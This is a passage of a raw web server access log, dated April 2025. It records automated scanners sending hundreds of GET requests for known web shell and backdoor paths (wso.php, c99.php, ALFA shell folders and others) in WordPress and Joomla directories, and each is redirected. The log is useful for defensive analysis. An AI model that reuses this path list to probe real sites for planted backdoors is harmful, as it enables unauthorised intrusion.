/wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:41 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:42 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:42 -0400] "GET /wp-content/plugins/akbifoe/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:43 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:43 -0400] "GET /wp-admin/YP1cuvy6WrD.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:43 -0400] "GET /imagesvuln.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:44 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:44 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:44 -0400] "GET /payment.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:45 -0400] "GET /wpx.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:45 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:46 -0400] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:46 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:47 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:47 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:48 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:48 -0400] "GET /ioxi02.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:48 -0400] "GET /wp-admin/css/colors/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:49 -0400] "GET /mrjn.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:49 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:50 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:50 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:51 -0400] "GET /3.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:51 -0400] "GET /wp-includes/pomo/wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:52 -0400] "GET /.well-known/mfeypwze.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:52 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:53 -0400] "GET /hkvkjguw.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:53 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:54 -0400] "GET /disagraep.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:54 -0400] "GET /wp-admin/pages.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:54 -0400] "GET /wp-content/plugins/config HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:55 -0400] "GET /3301.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:55 -0400] "GET /123.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:56 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:56 -0400] "GET /wp-content/uploads/gravity_forms/g/f/f/b/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:57 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:57 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:57 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:58 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:58 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:59 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:03:59 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:00 -0400] "GET /author.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:00 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:01 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:01 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:02 -0400] "GET /wp-admin/includes/class-walker-nav-edit.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:02 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:03 -0400] "GET /templates/rhuk_milkyway/index.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:03 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:04 -0400] "GET /essexec.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:05 -0400] "GET /.well-known/acme-challenge/worksec.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:05 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:06 -0400] "GET /wp-content/plugins/html404/wso25.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:06 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:06 -0400] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:07 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:08 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:08 -0400] "GET /classwithtostring.php/rbzccnnp.php/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:08 -0400] "GET /wp-includes/rest-api/fields/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:09 -0400] "GET /wp-content/plugins/qufeaoy/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:09 -0400] "GET /10.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:10 -0400] "GET /wp-content/plugins/lsxvhpg/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:10 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:11 -0400] "GET /edit-link-form.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:11 -0400] "GET /.well-known/pki-validation/fond.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:12 -0400] "GET /update/upload.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:12 -0400] "GET /new_license.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:13 -0400] "GET /sxo.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:13 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:14 -0400] "GET /wp-includes/dkmjxfdu.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:14 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:14 -0400] "GET /1p.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:15 -0400] "GET /ohayo.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:15 -0400] "GET /plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:16 -0400] "GET /wp-admin/includes/1975Team.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:16 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:17 -0400] "GET /alexusmailer%202.0.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:17 -0400] "GET /5.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:17 -0400] "GET /wp-content/plugins/content-management/content.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:18 -0400] "GET /administrator/templates/hathor/error.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:18 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:19 -0400] "GET /templates/+theme+/error.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:20 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:20 -0400] "GET /admin/controller/extension/extension/ultra.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:21 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:21 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:22 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:22 -0400] "GET /wp-includes/ID3/module.tag.id3v3.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:22 -0400] "GET /swm.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:23 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:23 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:24 -0400] "GET /wp-content/themes/twentytwentytwo/inc/patterns/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:24 -0400] "GET /wp-content/uploads/wpr-addons/forms/RxRzhwix.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:24 -0400] "GET /uploader.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:25 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:25 -0400] "GET /r3x.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:25 -0400] "GET /olu.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:26 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:26 -0400] "GET /welcome.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:27 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:27 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:28 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:28 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:28 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:29 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:29 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:30 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:30 -0400] "GET /wp-content/plugins/cekidot/alf.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:31 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:31 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:31 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:32 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:32 -0400] "GET /notifications.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:32 -0400] "GET /5index.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:33 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:33 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:34 -0400] "GET /sxx.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:34 -0400] "GET /wp-admin/js/QXUho.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:34 -0400] "GET /assets/qvbgifxl.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:35 -0400] "GET /js/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:35 -0400] "GET /class-bulk-skin.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:35 -0400] "GET /assets/libs/filemanager/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:36 -0400] "GET /configure.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:36 -0400] "GET /wp-content/plugins/wordpresss3cll/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:37 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:37 -0400] "GET /wp-includes/css/dist/widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:37 -0400] "GET /disagrsod.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:38 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:04:38 -0400] "GET /wp-login.php?action=register HTTP/1.1" 301 795 "-" "-" 124.221.245.78 - - [27/Apr/2025:10:13:29 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 40.113.19.73 - - [27/Apr/2025:10:15:40 -0400] "GET /wp-admin/css/fw.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:40 -0400] "GET /wp-content/uploads/2014/03/smile.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:41 -0400] "GET /wp-includes/SimplePie/gzdecodes.php.suspected HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:41 -0400] "GET /admin-header.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:42 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:42 -0400] "GET /images/resumes/ HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:42 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:43 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:43 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:44 -0400] "GET /class-php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:44 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:44 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:45 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:45 -0400] "GET /forum.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:45 -0400] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:46 -0400] "GET /includes/1975Team.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:46 -0400] "GET /test.php7 HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:46 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:47 -0400] "GET /wp-content/uploads/option.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:47 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:48 -0400] "GET /w3llstore.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:48 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:48 -0400] "GET /yanz.php/wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:49 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:49 -0400] "GET /wp-content/user/ HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:49 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:50 -0400] "GET /allez.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:50 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:51 -0400] "GET /wp-content/plugins/Core-Econ/1.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:51 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:51 -0400] "GET /uploads/upload.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:52 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:52 -0400] "GET /configuracion.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:52 -0400] "GET /wp-content/plugins/sxo.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:53 -0400] "GET /upgrade.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:53 -0400] "GET /wp-admin/maint/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:54 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:54 -0400] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:54 -0400] "GET /templates/+theme+/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:55 -0400] "GET /.well-known/nzhlgkwk.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:55 -0400] "GET /daddy.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:56 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:56 -0400] "GET /wp-content/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:56 -0400] "GET /contact_tpl.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:57 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:57 -0400] "GET /nasgor.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:58 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:58 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:58 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:59 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:59 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:15:59 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:00 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:00 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:01 -0400] "GET /css/flower.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:01 -0400] "GET /download.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:01 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:02 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:02 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:03 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:03 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:03 -0400] "GET /sleepster/ HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:04 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:04 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:04 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:05 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:05 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:06 -0400] "GET /gawean.PhP7 HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:06 -0400] "GET /bypass.php7 HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:06 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:07 -0400] "GET /cnzcsfwm.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:07 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:08 -0400] "GET /.well-known/acme-challenge/shop.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:08 -0400] "GET /wp-includes/ID3/berlin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:08 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:09 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:09 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:09 -0400] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:10 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:10 -0400] "GET /wp-content/uploads/2023/03/z.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:11 -0400] "GET /services.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:11 -0400] "GET /alfaindex.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:11 -0400] "GET /wp-content/plugins/vheezid/ HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:12 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:12 -0400] "GET /test/essexec.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:12 -0400] "GET /css/nqfvanbd.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:13 -0400] "GET /upload/upload.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:13 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:14 -0400] "GET /used.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:14 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:14 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:15 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:15 -0400] "GET /wp-admin/block-support.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:16 -0400] "GET /libraries/joomla/jmail.php?u HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:16 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:17 -0400] "GET /wp-includes/Requests/library/don.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:17 -0400] "GET /wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:16:17 -0400] 